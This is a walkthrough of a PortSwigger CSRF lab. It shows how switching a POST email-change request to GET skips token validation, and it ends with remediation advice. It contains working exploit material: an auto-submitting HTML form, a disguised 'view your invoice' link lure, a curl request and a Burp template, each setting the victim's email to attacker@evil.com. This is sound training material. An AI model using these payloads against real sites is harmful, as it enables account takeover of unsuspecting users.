CSRF where token validation depends on request method
CSRF where token validation depends on request method: Exploit a CSRF weakness in the email change endpoint where token validation is only enforced for certain HTTP methods. Craft a request that changes the victim’s email without a valid CSRF token. • PortSwigger • Cross-site request forgery (CSRF) • validation, token
🎯 Objective
Exploit a CSRF weakness in the email change endpoint where token validation is only enforced for certain HTTP methods. Craft a request that changes the victim’s email without a valid CSRF token.
🧭 Lab Summary
- Vulnerability: CSRF (token checked for some methods only)
- Target action: Change user email
- Session handling: Cookie-based
- Unpredictable parameters: None (only
email) - Key flaw: Token validation omitted when the request method is switched (e.g., POST ➜ GET).
✅ TL;DR (Exploit in 1 Minute)
- Intercept the legitimate POST request to change email.
- Remove the CSRF token and switch the request method to GET.
- Provide
emailas a query string parameter. - Host an auto-submitting HTML page that triggers the GET request in the victim’s browser (cookies auto‑attach).
- Victim loads the page → email changed.
🔍 Recon & Observations
When testing the functionality, removing the CSRF token still allowed the request to proceed. The server redirected the request, meaning the CSRF protection is not properly implemented for the tested method.

🧪 Step-by-Step
1) Baseline Request (Legit POST)
Captured via Burp:
POST /my-account/change-email HTTP/1.1
Host: TARGET
Cookie: session=...
Content-Type: application/x-www-form-urlencoded
email=victim%40example.com&csrf=VALID_TOKEN2) Remove Token (Still POST) — Control Check
Remove csrf and resend. App redirects (302) and lands on a 200 OK page (no token error).
3) Method Switch to GET (Bypass)
Construct a GET request with the same parameter:
GET /my-account/change-email?email=attacker%40evil.com HTTP/1.1
Host: TARGET
Cookie: session=...Why this works: The backend validates tokens for POST but neglects equivalent state‑changing GET requests. Browsers attach cookies on same‑site cross‑origin navigations, enabling CSRF without a token.
4) Confirm State Change
- Observe 302 ➜ 200 flow
- Check profile page; email should be updated to
attacker@evil.com.
🧨 Exploit (Host on Exploit Server)
Serve this HTML (auto-submits a GET without any token):
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>CSRF – Method Bypass</title>
</head>
<body>
<form id="exploit" action="https://TARGET/my-account/change-email" method="GET">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.getElementById('exploit').submit();
</script>
</body>
</html>Replace
https://TARGETwith the lab domain. When a logged‑in victim visits this page, the browser sends a GET with session cookies → email changed.
Alternative (no form, pure link lure):
<a href="https://TARGET/my-account/change-email?email=attacker@evil.com">Click to view your invoice</a>(Click‑through required; useful for social‑engineering scenarios.)
🧰 cURL Proof (Local Verification)
# Remove token and switch to GET
curl -i -s -k -H 'Cookie: session=YOUR_SESSION' 'https://TARGET/my-account/change-email?email=attacker@evil.com'🛡️ Remediation (What the App Should Do)
- Enforce CSRF tokens for all state‑changing endpoints and all accepted methods (POST/PUT/PATCH/DELETE/GET if supported).
- Reject GET for state changes (idempotency): use POST only.
- Add SameSite=Lax/Strict cookies (+
Secure,HttpOnly) to reduce CSRF surface. - Implement Origin/Referer checks as a defense-in-depth, not a sole control.
- Consider double-submit or SameSite=Strict for sensitive flows.
🧩 Notes & Gotchas
- Some frameworks auto‑wire CSRF only for POST; custom routes handling GET mutations slip past.
- Proxies/caches can mask behavior (302 ➜ 200). Always confirm state change.
- If
Content-Typeimpacts validation (e.g., JSON vs. form), test both. Method+type matrices often hide bypasses.
✅ Verification Checklist
- GET request without token accepted
- Email changes to attacker-controlled address
- PoC HTML reliably auto-submits in common browsers
- Session cookies present on request (same-site navigation)
🗂️ Appendix — Burp PoC Template (Editable)
<form action="https://TARGET/my-account/change-email" method="GET">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="submit" value="Update Email">
</form>